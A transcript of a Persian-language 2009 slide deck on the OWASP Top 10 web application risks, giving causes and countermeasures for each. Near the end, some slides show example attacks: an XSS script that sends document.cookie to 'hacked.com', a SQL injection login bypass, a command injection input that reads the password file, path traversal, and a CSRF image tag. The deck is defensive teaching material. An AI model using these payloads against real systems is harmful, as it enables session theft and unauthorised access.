امنیت نرم‌افزارهای وب تقديم به پيشگاه مقدس امام عصر (عج) عباس نادری

Slides:



Advertisements
Similar presentations
Webgoat.
Advertisements

Preventing Web Application Injections with Complementary Character Coding Raymond Mui Phyllis Frankl Polytechnic Institute of NYU Presented at ESORICS.
OWASP’s Ten Most Critical Web Application Security Vulnerabilities
Hands-on SQL Injection Attack and Defense HI-TEC July 21, 2013.
Don’t get Stung (An introduction to the OWASP Top Ten Project) Barry Dorrans Microsoft Information Security Tools NEW AND IMPROVED!
SEC835 OWASP Top Ten Project.
It’s always better live. MSDN Events Security Best Practices Part 2 of 2 Reducing Vulnerabilities using Visual Studio 2008.
Information Networking Security and Assurance Lab National Chung Cheng University The Ten Most Critical Web Application Security Vulnerabilities Ryan J.W.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Advanced Security Center Overview Northern Illinois University.
Information Networking Security and Assurance Lab National Chung Cheng University 1 Top Vulnerabilities in Web Applications (I) Unvalidated Input:  Information.
“Today over 70% of attacks against a company’s network come at the ‘Application Layer’ not the Network or System layer.” - Gartner Is Your Web Application.
Introduction to the OWASP Top 10. Cross Site Scripting (XSS)  Comes in several flavors:  Stored  Reflective  DOM-Based.
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
By: Razieh Rezaei Saleh.  Security Evaluation The examination of a system to determine its degree of compliance with a stated security model, security.
1 Web Application Security (and why it matters to YOU!) -Remix- By Mark Bristow and Doug Wilson
Web Security Overview Lohika ASC team 2009
OWASP Zed Attack Proxy Project Lead
HTTP and Server Security James Walden Northern Kentucky University.
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
CSC 2720 Building Web Applications
Lecture 14 – Web Security SFDV3011 – Advanced Web Development 1.
© All rights reserved. Zend Technologies, Inc. PHP Security Kevin Schroeder Zend Technologies.
Ryan Dewhurst - 20th March 2012 Web Application (PHP) Security.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
Copyright 2007 © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Web Application Security Sebastian Lopienski CERN Computer Security Team Summer/openlab students lectures 2012.
Mike Gerschefske. Hacking is illegal (most of the time)  Understand the laws  Port Scanning can be considered illegal  Post 9/11 can be act of terrorism.
WWW 安全 國立暨南國際大學 資訊管理學系 陳彥錚. WWW 安全 Web security is important for E-Commerce. Previous studies: –SSL –SET –Web server security Application-level security.
OWASP Top 10 from a developer’s perspective John Wilander, OWASP/Omegapoint, IBWAS’10.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Playing Safely in the Cloud Marie Greenberg, CISSP, IAM, IEM Information Security Manager Virginia State Corporation Commission.
The attacks ● XSS – type 1: non-persistent – type 2: persistent – Advanced: other keywords (, prompt()) or other technologies such as Flash.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
nd Joint Workshop between Security Research Labs in JAPAN and KOREA Marking Scheme for Semantic- aware Web Application Security HPC.
Web Applications Testing By Jamie Rougvie Supported by.
Building Secure Web Applications With ASP.Net MVC.
OWASP OWASP top 10 - Agenda  Background  Risk based  Top 10 items 1 – 6  Live demo  Top 10 items 7 – 10  OWASP resources.
COMP9321 Web Application Engineering Semester 2, 2015 Dr. Amin Beheshti Service Oriented Computing Group, CSE, UNSW Australia Week 9 1COMP9321, 15s2, Week.
OWASP Building Secure Web Applications And the OWASP top 10 vulnerabilities.
Defending Applications Against Command Insertion Attacks Penn State Web Conference 2003 Arthur C. Jones June 18, 2003.
Web Applications on the battlefield Alain Abou Tass.
The OWASP Foundation Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under.
Do not try any of the techniques discussed in this presentation on a system you do not own. It is illegal and you will get caught.
CFUNITED – The premier ColdFusion conference ColdFusion Application Security The Top Ten Most Critical Web Application Security Vulnerabilities.
2006 Adobe Systems Incorporated. All Rights Reserved. ColdFusion Application Security Adam Wayne Lehman ColdFusion Specialist Adobe Systems, Inc.
Page 1 Ethical Hacking by Douglas Williams. Page 2 Intro Attackers can potentially use many different paths through your application to do harm to your.
SECURE DEVELOPMENT. SEI CERT TOP 10 SECURE CODING PRACTICES Validate input Use strict compiler settings and resolve warnings Architect and design for.
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
Web Application Security
COMP9321 Web Application Engineering Semester 2, 2017
Building Secure ColdFusion Applications
Web Application Vulnerabilities
An Introduction to Web Application Security
Web Application Vulnerabilities, Detection Mechanisms, and Defenses
TOPIC: Web Security (Part-4)
Finding and Fighting the Causes of Insecure Applications
Web Security.
Playing Safely in the Cloud
CSC 495/583 Topics of Software Security Intro to Web Security
Cross-Site Request Forgery (CSRF) Attack Lab
Playing Safely in the Cloud
Advanced Penetration testing
OWASP Top 10 Vulnerabilities: Panel Discussion
Finding and Fighting the Causes of Insecure Applications
WWW安全 國立暨南國際大學 資訊管理學系 陳彥錚.
Presentation transcript:

امنیت نرم‌افزارهای وب تقديم به پيشگاه مقدس امام عصر (عج) عباس نادری Abbas Naderi (aka AbiusX) اعتباران انفورماتیک abiusx@etebaran.com abiusx@jframework.info abiusx@owasp.org 10/1/2009 ۱۳۸۸/۷/9 تقديم به پيشگاه مقدس امام عصر (عج)

امنیت دنیای وب سهل انگاری در اوج اهمیت

۱۰ خطر اصلی OWASP TOP 10 Cross Site Scripting (XSS) Injection Flaws Insecure Remote File Include Insecure Direct Object Reference Cross Site Request Forgery (CSRF) Information Leakage and Improper Error Handling Broken Authentication and Session Management Insecure Cryptographic Storage Insecure Communications Failure to Restrict URL Access

1.Cross Site Scripting (XSS) اسکریپت نویسی مابین سایتی بیش از ۲۰٪ سایتها آسیب پذیرند مقابله با آن به غایت مشکل است هرروزه روشهای جدید فراوانی کشف می شوند جایگزین‌های معمول برای کاربران سختی‌هایی دارند می‌توانند به صورت کرم منتشر شوند

1. Cross Site Scripting (XSS) روشهای مقابله: کتابخانه‌های بسیار پیچیده، سنگین و کند کتابخانه‌ها نیز ۱۰۰٪ مصون نیستند تحریم امکان استفاده از قالب‌بندی استفاده از سیستم‌های جایگزین (BBCode) همگامی با دنیای امنیت اطلاعات

2. Injection Flaws تزریقات حدود ۱۵٪ سایتها آسیب‌پذیر آسیب‌پذیری بسیار محلک و اعمال آن ساده است در دو دسته آگاهانه و کور انجام می‌گیرد معمول‌ترین دلیل هک شدن و رسوخ به سایت‌ها علارقم معروفی بسیار، توسعه‌دهندگان بی‌خبرند مقابله با آن معمولا ناقص انجام می‌گیرد در صورت شناخت کافی، مقابله بسیار آسان است

2. Injection Flaws روشهای مقابله: استفاده از واسط‌های امن برای دستورات پویا استفاده از PreparedStatements برای SQL عدم استفاده از Escaping به عنوان تنها راه بررسی ورودی بررسی لیست سفیدی ورود‌ی‌ها

3. Insecure Remote File Include تزریق کد مخرب احتیاج به آگاهی از روش کار معمولا توسط توسعه‌دهندگان رعایت نمی‌شود توسط تنظیمات بستری قابل رفع بسیار بسیار مخرب و خطرناک در صورت وجود و کشف امکان انجام انواع حملات بدون متوجه شدن سیستم

3. Insecure Remote File Include روشهای مقابله: عدم استفاده از کدفایل متغیر بررسی کامل و بسیار دقیق متغیر در آدرس کد تبیین دقیق قوانین استفاده تنظیمات سکوی اجرا

ارائه اطلاعات ناخواسته 4. Insecure Direct Object Reference ارائه اطلاعات ناخواسته عدم آگاهی توسعه‌دهندگان پیچیدگی یافت و جلوگیری پیش‌آمدن قطعی در سیستم‌های پیچیده بسیار زمانگیر و دشوار جهت کشف برای نفوذگران

4. Insecure Direct Object Reference روشهای مقابله: تعیین دقیق معماری سیستم و پیروی از آن مشخص کردن لایه تعیین دسترسی به همه چیز پیاده‌سازی صحیح روشها و پیروی از معماری

5.Cross Site Request Forgery (CSRF) جعل درخواست بین سایتی عدم علم توسعه‌دهندگان عدم درک صحیح توسعه‌دهندگان بسیار ساده و قابل انجام می‌تواند به غایت حساس و خطرناک باشد یا نه کاربری معمول به سادگی برطرف می‌شود موارد پیچیده احتیاج به پردازش خروجی دارند

5.Cross Site Request Forgery (CSRF) روشهای مقابله: عدم استفاده از GET برای فرآیندها جفتگیری تصادفی در کلاینت و سرور نااتوماتیک فرم ورود به سیستم مجدد در فرآیند حساس جلوگیری از XSS

6. Information Leakage and Improper Error Handling نشت اطلاعات و نقص مدیریت خطا قدم اول انواع نفوذ تقریبا تمام سیستم‌ها آسیب پذیرند اهمیت آن معمولا درنظر گرفته نمی‌شود آگاهی نسبتا کامل از سیستم با Stack Trace یا SQL روش‌های مقابله اتوماتیک ناکارآمد روش‌های مقابله دستی بسیار کند و هزینه‌بر

6. Information Leakage and Improper Error Handling روشهای مقابله: عدم ارائه خطا و ارور در سیستم عملیاتی تهیه گزارش کامل از همه عملکردهای سیستم تماس با مدیر و امنیت از طریق ای‌میل یا SMS بررسی دقیق و تست کامل محصول قبل‌از ارائه استفاده از سیستم‌های اتوماتیک و تنظیم سکو

7. Broken Authentication and Session Management احراز هویت و مدیریت نشست ناکارا بسیار بد و آسیب زننده احتیاج به بازنگری دائم و فراوان نقص در روش‌های احراز هویت غیراستاندارد پیاده‌سازی دشوار و حساس در سیستم‌های بزرگ

7. Broken Authentication and Session Management روشهای مقابله: استفاده از یک محور احرازهویت ایجاد نشست‌های مستقل پس‌از احراز هویت خروج از سیستم کارا و تخلیه اطلاعات عدم ارائه اطلاعات نشستی و حساس استفاده از سیستم‌های بالغ تست و بررسی کد به صورت کامل

استفاده نادرست از رمزنگاری 8. Insecure Cryptographic Storage استفاده نادرست از رمزنگاری بسیار معمول و خطرناک اکثر توسعه‌دهندگان و تیم آنها دانش رمزنگاری ندارند تکیه کامل بر رمزنگاری ناصحیح نفوذگران معدودی دانش رمزنگاری کافی دارند

8. Insecure Cryptographic Storage روشهای مقابله: بررسی کد (تست پاسخگو نیست( عدم استفاده از الگوریتم‌های دستی آموزش استفاده صحیح از الگوریتم‌های قدرتمند عدم استفاده از الگوریتم‌های منسوخ (مانند MD5) عدم استفاده از Hard Coding

9. Insecure Communications ارتباطات ناامن هزینه‌بر و احتیاج به صرف اعتبار جهت کسب اعتبار بار بیشتر بر روی سرورها و کلاینت‌ها (نامطلوب) عدم درک صحیح از عمق مسئله راه‌اندازی دشوار بر سرور آموزش دشوار در کلاینت

9. Insecure Communications روشهای مقابله: استفاده از SSL در تمام ارتباطات هویت‌دار استفاده از SSL در تمام فرآیندهای حساس استفاده از گواهینامه معتبر SSL استفاده از نسخه معتبرSSL، نسخه ۳ یا TLS منطق عدم ارائه اطلاعات حساس در ارتباط ناامن توسط برنامه کنترل شود

ناتوانی در محدود کردن دسترسی 10. Failure to Restrict URL Access ناتوانی در محدود کردن دسترسی متدولوژی غلط Security by Obscurity عدم استفاده از کنترل دسترسی محوری کنترل دسترسی ناصحیح (مثلا بر روی کلاینت) دشواری پیاده‌سازی و استفاده از روش‌های استاندارد

10. Failure to Restrict URL Access روشهای مقابله: استفاده از روشهای استاندارد و کارا (‌RBAC) اعمال اتوماتیک مکانیزم کنترل دسترسی بررسی کد کامل و معماری کارآمد عدم استفاده از آدرس‌های مخفی

پیاده‌روی در اعماق باتلاق! چند راه‌برد عملی پیاده‌روی در اعماق باتلاق!

Cross Site Scripting (XSS) echo $_REQUEST['userinput']; Reflected, Stored and DOM types docoment.write('<form name='f1' action=''hacked.com''> <input name=''sessionID'' value='' '+document.cookie+' '' /></form>'); document.forms.f1.submit();

$sql = "SELECT * FROM table WHERE id = ' " . $_GET['id'] . " ' "; SQL Injection $sql = "SELECT * FROM table WHERE id = ' " . $_GET['id'] . " ' "; Text fields, Number Fields!!! Server Code: $R=mysql_query(''SELECT * FROM users WHERE Username='{$Username}' AND Password='{$Pass}' ''); if ($R) echo '' You logged in successfully! ''; Attack: username: foo password: 1' or '1'='1 Manipulated SQL: SELECT * FROM users WHERE Username='1' AND Password='1' or '1'='1'

لیست کلمات عبور به همراه متن نامه، به نفوذگر ای‌میل می شوند. Command Injection Server Code: Exec (''mail ''.$UserData); UserData: '' hi; cat passwd; '' لیست کلمات عبور به همراه متن نامه، به نفوذگر ای‌میل می شوند.

Malicious File Execute Include direname(__FILE__).''/request_handlers/''.$R; به صورت پویا درخواست کاربر را پاسخ می‌گوییم... User Request: ../../passwd باعث می‌شود فایل رمزهای عبور به جای فایل کد نمایش داده شود.

Insecure Direct Object Reference <select name="language"><option value="ir">Farsi</option></select> ... Include ($_GET['language']."lang.php"); <select name="language"><option value="29871268398721">Farsi</option></select> Use Salts to prevent Brute-Force!

Cross Site Request Forgery (CSRF) <img src="http://www.example.com/transfer.do?frmAcct=docume nt.form.frmAcct &toAcct=4345754&toSWIFTid=434343&amt=3434.43">

Insecure Cryptographic Storage $pass=md5($_GET['pass']); // unsafe! www.passcracking.com استفاده صحیح(۱) از الگوریتم‌های صحیح (۲) $pass=hash( ''sha-512'' ,$_GET['pass'].strtolower($_GET['user']));

سوالات، پیشنهادات؟ منابع : www.owasp.org